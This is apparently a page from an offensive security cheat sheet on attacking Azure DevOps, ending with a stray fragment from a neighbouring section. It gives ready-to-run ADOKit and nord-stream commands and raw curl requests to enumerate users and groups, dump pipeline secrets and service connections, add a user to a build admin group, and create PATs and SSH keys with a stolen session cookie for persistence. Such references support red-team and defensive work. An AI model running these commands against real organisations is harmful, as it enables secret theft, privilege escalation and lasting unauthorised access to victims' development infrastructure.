Azure DevOps

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Swissky 2024-01-02 15:17:22 +01:00
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# Azure Services - Azure DevOps
* [xforcered/ADOKit](https://github.com/xforcered/ADOKit) - Azure DevOps Services Attack Toolkit
* [synacktiv/nord-stream](https://github.com/synacktiv/nord-stream) - Nord Stream is a tool that allows you to extract secrets stored inside CI/CD environments by deploying malicious pipelines. It currently supports Azure DevOps, GitHub and GitLab.
```ps1
# List all secrets from all projects
$ nord-stream.py devops --token "$PAT" --org myorg --list-secrets
# Dump all secrets from all projects
$ nord-stream.py devops --token "$PAT" --org myorg
```
## Authentication
You can access an organization's Azure DevOps Services instance via https://dev.azure.com/{yourorganization}.
* Username and Password
* Authentication Cookie `UserAuthentication`: `ADOKit.exe whoami /credential:UserAuthentication=ABC123 /url:https://dev.azure.com/YourOrganization`
* Personal Access Token (PAT): `ADOKit.exe whoami /credential:patToken /url:https://dev.azure.com/YourOrganization`
```ps1
PAT="XXXXXXXXXXX"
organization="YOURORGANIZATION"
curl -u :${PAT} https://dev.azure.com/${organization}/_apis/build-release/builds
```
## Recon
* Search files: `file:FileNameToSearch`, `file:Test* OR file:azure-pipelines*`
```ps1
curl -i -s -k -X $'GET'
-H $'Content-Type: application/json'
-H $'User-Agent: SOME_USER_AGENT'
-H $'Authorization: Basic BASE64ENCODEDPAT'
-H $'Host: dev.azure.com'
$'https://dev.azure.com/YOURORGANIZATION/PROJECTNAME/_apis/git/repositories/REPOSITORYID/items?recursionLevel=Full&api-version=7.0'
```
* Search code: `ADOKit.exe searchcode /credential:UserAuthentication=ABC123 /url:https://dev.azure.com/YourOrganization /search:"search term"`
```ps1
curl -i -s -k -X $'POST'
-H $'Content-Type: application/json'
-H $'User-Agent: SOME_USER_AGENT'
-H $'Authorization: Basic BASE64ENCODEDPAT'
-H $'Host: almsearch.dev.azure.com'
-H $'Content-Length: 85'
-H $'Expect: 100-continue'
-H $'Connection: close'
--data-binary $'{\"searchText\": \"SEARCHTERM\", \"skipResults\":0,\"takeResults\":1000,\"isInstantSearch\":true}'
$'https://almsearch.dev.azure.com/YOURORGANIZATION/_apis/search/codeAdvancedQueryResults?api-version=7.0-preview'
```
* Enumerate users
```ps1
curl -i -s -k -X $'GET'
-H $'Content-Type: application/json'
-H $'User-Agent: SOME_USER_AGENT'
-H $'Authorization: Basic BASE64ENCODEDPAT'
-H $'Host: dev.azure.com'
$'https://dev.azure.com/YOURORGANIZATION/_apis/graph/users?api-version=7.0'
```
* Enumerate groups: `ADOKit.exe getgroupmembers /credential:UserAuthentication=ABC123 /url:https://dev.azure.com/YourOrganization /group:"search term"`
```ps1
curl -i -s -k -X $'GET'
-H $'Content-Type: application/json'
-H $'User-Agent: SOME_USER_AGENT'
-H $'Authorization: Basic BASE64ENCODEDPAT'
-H $'Host: dev.azure.com'
$'https://dev.azure.com/YOURORGANIZATION/_apis/graph/groups?api-version=7.0'
```
* Enumerate porject permissions: `ADOKit.exe getpermissions /credential:UserAuthentication=ABC123 /url:https://dev.azure.com/YourOrganization /project:"project name"`
## Privilege Escalation
* Adding User to Group: `ADOKit.exe addcollectionbuildadmin /credential:UserAuthentication=ABC123 /url:https://dev.azure.com/YourOrganization /user:"username"`
```ps1
curl -i -s -k -X $'PUT'
-H $'Content-Type: application/json'
-H $'User-Agent: Some User Agent'
-H $'Authorization: Basic base64EncodedPAT'
-H $'Host: vssps.dev.azure.com'
-H $'Content-Length: 0'
$'https://vssps.dev.azure.com/YourOrganization/_apis/graph/memberships/userDescriptor/groupDescriptor?api-version=7.0-preview.1'
```
* Retrieve build variables and secrets: `ADOKit.exe getpipelinevars /credential:UserAuthentication=ABC123 /url:https://dev.azure.com/YourOrganization /project:"project name"`, `ADOKit.exe getpipelinesecrets /credential:UserAuthentication=ABC123 /url:https://dev.azure.com/YourOrganization /project:"project name"`
```ps1
curl -i -s -k -X $'GET'
-H $'Content-Type: application/json'
-H $'User-Agent: Some User Agent'
-H $'Authorization: Basic base64EncodedPAT'
-H $'Host: dev.azure.com'
$'https://dev.azure.com/YourOrganization/ProjectName/_apis/build/Definitions/DefinitionIDNumber?api-version=7.0'
```
* Retrieve Service Connection Information: `ADOKit.exe getserviceconnections /credential:UserAuthentication=ABC123 /url:https://dev.azure.com/YourOrganization /project:"project name"`
```ps1
curl -i -s -k -X $'GET'
-H $'Content-Type: application/json;api-version=5.0-preview.1'
-H $'User-Agent: Some User Agent'
-H $'Authorization: Basic base64EncodedPAT'
-H $'Host: dev.azure.com'
$'https://dev.azure.com/YourOrganization/YourProject/_apis/serviceendpoint/endpoints?api-version=7.0'
```
## Persistence
* Create a PAT: `ADOKit.exe createpat /credential:UserAuthentication=ABC123 /url:https://dev.azure.com/YourOrganization`
```ps1
curl -i -s -k -X $'POST'
-H $'Content-Type: application/json'
-H $'Accept: application/json;api-version=5.0-preview.1'
-H $'User-Agent: Some User Agent'
-H $'Host: dev.azure.com'
-H $'Content-Length: 234'
-H $'Expect: 100-continue'
-b $'X-VSS-UseRequestRouting=True; UserAuthentication=stolenCookie'
--data-binary $'{\"contributionIds\":[\"ms.vss-token-web.personal-accesstoken-issue-session-tokenprovider\"],\"dataProviderContext\":{\"properties\":{\"displayName\":\"PATName\",\"validTo\":\"YYYY-MMDDT00:00:00.000Z\",\"scope\":\"app_token\",\"targetAccounts\":[]}}}}}'
$'https://dev.azure.com/YourOrganization/_apis/Contribution/HierarchyQuery'
```
* Create SSH Keys: `ADOKit.exe createsshkey /credential:UserAuthentication=ABC123 /url:https://dev.azure.com/YourOrganization /sshkey:"ssh pub key"`
```ps1
curl -i -s -k -X $'POST'
-H $'Content-Type: application/json'
-H $'Accept: application/json;api-version=5.0-preview.1'
-H $'User-Agent: Some User Agent'
-H $'Host: dev.azure.com'
-H $'Content-Length: 856'
-H $'Expect: 100-continue'
-b $'X-VSS-UseRequestRouting=True; UserAuthentication=stolenCookie'
--data-binary $'{\"contributionIds\":[\"ms.vss-token-web.personal-accesstoken-issue-session-tokenprovider\"],\"dataProviderContext\":{\"properties\":{\"displayName\":\"SSHKeyName\",\"publicData\":\"public SSH key content\",\"validTo\":\"YYYY-MMDDT00:00:00.000Z\",\"scope\":\"app_token\",\"isPublic\":true,\"targetAccounts\":[\"organizationID\"]}}}}}'
$'https://dev.azure.com/YourOrganization/_apis/Contribution/HierarchyQuery'
```
## References
* [Hiding in the Clouds: Abusing Azure DevOps Services to Bypass Microsoft Sentinel Analytic Rules - Brett Hawkins - November 6, 2023](https://www.ibm.com/downloads/cas/5JKAPVYD)

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```
## Azure Devops
* Verify the validity of an Azure Personal Access Token (PAT)
```ps1
PAT=""
organization=""
curl -u :${PAT} https://dev.azure.com/${organization}/_apis/build-release/builds
```
* [synacktiv/nord-stream](https://github.com/synacktiv/nord-stream) - Nord Stream is a tool that allows you to extract secrets stored inside CI/CD environments by deploying malicious pipelines. It currently supports Azure DevOps, GitHub and GitLab.
```ps1
# List all secrets from all projects
$ nord-stream.py devops --token "$PAT" --org myorg --list-secrets
# Dump all secrets from all projects
$ nord-stream.py devops --token "$PAT" --org myorg
```
## Microsoft Intune
* LAPS